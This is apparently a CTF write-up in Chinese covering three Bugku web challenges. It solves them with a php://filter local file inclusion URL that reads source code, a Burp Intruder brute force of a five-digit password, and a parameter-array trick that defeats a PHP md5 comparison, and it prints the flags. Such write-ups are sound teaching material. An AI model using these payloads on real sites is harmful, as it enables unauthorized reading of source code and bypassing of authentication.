web-bugku
flag在index里
http://123.206.87.240:8005/post/
- 打开页面,查看源码
- 没找到有用的东西,抓包试试
- 没找到,联想题目,在看看这个
http://123.206.87.240:8005/post/index.php?file=show.php
,file:用来的文件的,那么flag可能就在index.pxp文件中,只是需要通过php://filter读取文件内容。
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
- 得到:
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
- base64,解码,拿到flag
- 总结:php:// — 访问各个输入/输出流(I/O streams),php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器,用法如下。
php://filter/read=convert.base64-encode/resource=[文件路径]
- 详解参考PHP手册:https://www.php.net/manual/zh/wrappers.php.php
输入密码查看flag
http://123.206.87.240:8002/baopo/
- 打开
- 5位数字密码,第一反应就是暴力破解,先输入12345再抓包,
- 发放到Intruder,设置好参数,如下:
- 破解得得到密码13579和flag.
听说备份是个好习惯
http://123.206.87.240:8002/web16/
- 打开得到:
- 解码是空字符,结和提目分析,御剑扫一波,
- 找到bak,下载,得到:
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?'); #strstr() 函数搜索字符串在另一字符串中的第一次出现。
$str = substr($str,1); #substr() 函数返回字符串的一部分。
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
- 大意就是,获取key1和key2,但会过滤你输入的key;如果md5加密的值一样而未加密的值不同,就会输出flag.这里可以用 kekeyy1 和 kekeyy2来绕过这个过滤。因为在php中,md5函数无法处理数组,返回的都是null,两个null也是相等,所有构造payload:
http://123.206.87.240:8002/web16/?kekeyy1[]=1&kekeyy2[]=2
- 得到flag.